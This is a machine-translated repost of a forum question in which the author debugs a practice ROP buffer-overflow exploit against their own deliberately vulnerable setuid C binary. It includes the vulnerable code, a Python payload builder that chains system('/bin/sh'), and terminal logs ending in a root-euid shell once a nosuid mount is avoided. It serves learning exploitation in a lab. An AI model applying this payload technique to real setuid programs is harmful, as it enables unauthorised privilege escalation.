[英]why will my buffer overflow exploit open a user shell only instead of a root shell?
我一直在关注缓冲区溢出漏洞的一些教程。 但我的问题是,我无法打开root shell,我总是会得到一个普通的用户shell。 我检查了以下几点
我重新验证了以下项目,但仍然无法实现实际的root shell:
有人知道问题可能是什么吗? 为什么我仍然不会得到root shell?
提前感谢任何建议和提示。 最好的Zaphoxx
易受攻击的C代码:
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
void shell(){
system("/bin/sh");
exit(0);
}
int vuln(){
char buf[4];
ssize_t l=0;
printf("[+] input: ");
l=read(0,buf,128);
printf("[+] recv: ");
write(1,buf,l);
return 0;
}
int main(){
//setbuf(stdout,0);
setuid(0);
seteuid(0);
vuln();
return 0;
}
python漏洞利用脚本来创建有效负载:
#!/usr/bin/python
from struct import *
from subprocess import call
poprdi=0x4007e3#pop rdi;ret;
system_plt=0x400560#address of system@plt
exit_plt=0x4005a0#address of exit@plt
shell=0x400804#address of '/bin/sh'
buf=b''
buf+=bytearray("A","utf-8")*24
buf+=pack("<Q",poprdi)
buf+=pack("<Q",shell)
buf+=pack("<Q",system_plt)
buf+=pack("<Q",poprdi)
buf+=pack("<Q",0)
buf+=pack("<Q",exit_plt)
with open("pwn","w") as p:
p.write(buf)
编辑更新:
所以我重新按照建议重新调用execve()直接调用一个小二进制文件,而不是使用易受攻击的二进制文件,只是为了检查是否会打开root shell:
zaphoxx@zaphoxx ~/github/ghostInTheShell $ vim shellcode.c
zaphoxx@zaphoxx ~/github/ghostInTheShell $ gcc -fno-stack-protector -o shell shellcode.c
zaphoxx@zaphoxx ~/github/ghostInTheShell $ sudo chown root:root shell ; sudo chmod 4755 shell
zaphoxx@zaphoxx ~/github/ghostInTheShell $ ll shell
-rwsr-xr-x 1 root root 8608 Oct 17 21:29 shell*
zaphoxx@zaphoxx ~/github/ghostInTheShell $ ./shell
$ id
uid=1000(zaphoxx) gid=1000(zaphoxx) groups=1000(zaphoxx),4(adm),24(cdrom),27(sudo),30(dip),33(www-data),46(plugdev),113(lpadmin),130(sambashare)
$ whoami
zaphoxx
$ exit
zaphoxx@zaphoxx ~/github/ghostInTheShell $ cat shellcode.c
#include <stdio.h>
#include <unistd.h>
int main(){
char *name[2];
name[0]="/bin/sh";
name[1]=NULL;
execve(name[0],name,NULL);
}
zaphoxx@zaphoxx ~/github/ghostInTheShell $
所以它不会打开root shell;
我按照其他帖子的建议将/ bin / sh链接到/ bin / zsh,请看这里:
zaphoxx@zaphoxx ~/github/ghostInTheShell $ ll $(which sh)
lrwxrwxrwx 1 root root 12 Oct 15 22:09 /bin/sh -> /usr/bin/zsh*
zaphoxx@zaphoxx ~/github/ghostInTheShell $
正如Peter所建议的,我使用'/ usr / bin / id'作为我的漏洞利用中的系统参数来检查,但结果与预期相同:
zaphoxx@zaphoxx ~/github/ghostInTheShell $ ./ghost < pwn
uid=1000(zaphoxx) gid=1000(zaphoxx) groups=1000(zaphoxx),4(adm),24(cdrom),27(sudo),30(dip),33(www-data),46(plugdev),113(lpadmin),130(sambashare)
[+] recv: AAAAAAAAHzaphoxx@zaphoxx ~/github/ghostInTheShell $ ll ./ghost
-rwsr-xr-x 1 root root 8816 Oct 17 22:25 ./ghost*
zaphoxx@zaphoxx ~/github/ghostInTheShell $
zaphoxx@zaphoxx ~/github/ghostInTheShell $ cat ghost.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
void shell(){
system("/usr/bin/id");
exit(0);
}
int vuln(){
char buf[4];
ssize_t l=0;
l=read(0,buf,128);
printf("[+] recv: %s",buf);
//write(1,buf,l);
return 0;
}
int main(){
//shell();
//setbuf(stdout,0);
//setuid(0);
//seteuid(0);
vuln();
return 0;
}
zaphoxx@zaphoxx ~/github/ghostInTheShell $
更新:我从KABuhr得到了一个很好的提示,检查/ proc / mounts是否有nosuid条目,并且:
zaphoxx@zaphoxx ~ $ cat /proc/mounts | grep zaphoxx
/home/zaphoxx/.Private /home/zaphoxx ecryptfs rw,nosuid,nodev,relatime
所以这似乎是我的问题的原因。 我如何改变正确的方式或如何暂时停用nosuid以便我可以测试漏洞利用?
感谢大家提供的帮助。 特别感谢Kabuhr提供了正确的提示。
在/ proc / mounts中,有多个具有nosuid标志的文件夹/文件系统条目。 这阻止了漏洞利用打开root shell,因为我试图利用的二进制文件是在带有nosuid标志的文件夹中。
我将二进制文件移动到/ usr / local / src / ghostInTheShell并创建了一个从原始文件夹到新文件夹的符号链接(没有nosuid标志)。
在那里运行漏洞一切都按预期工作。 谢谢大家。 见下面的结果:
zaphoxx@zaphoxx /usr/local/src/ghostInTheShell $ gcc -fno-stack-protector -o ghost ghost.c ; sudo chown root:root ghost ; sudo chmod 4755 ghost; ll ./ghost;
-rwsr-xr-x 1 root root 8816 Oct 18 12:22 ./ghost*
zaphoxx@zaphoxx /usr/local/src/ghostInTheShell $ ( cat pwn ; cat ) | ./ghost
ls
exp.py ghost.py in.txt peda-session-dash.txt sexecve.log
fish ghost.py~ leak peda-session-ghost.txt shell
fish.c gits leak.c peda-session-lib2plt.txt shellcode.c
fish.c~ gits.c lib2plt pwn
ghost gits.o lib2plt.c pwn.py
ghost.c in.text libtest.so r2lib-addresses
whoami
**root**
id
uid=1000(zaphoxx) gid=1000(zaphoxx) **euid=0(root)** groups=1000(zaphoxx),4(adm),24(cdrom),27(sudo),30(dip),33(www-data),46(plugdev),113(lpadmin),130(sambashare)
exit
[+] recv: AAAAAAAAH
声明:本站的技术帖子网页,遵循CC BY-SA 4.0协议,如果您需要转载,请注明本站网址或者原文地址。任何问题请咨询:yoyou2525@163.com.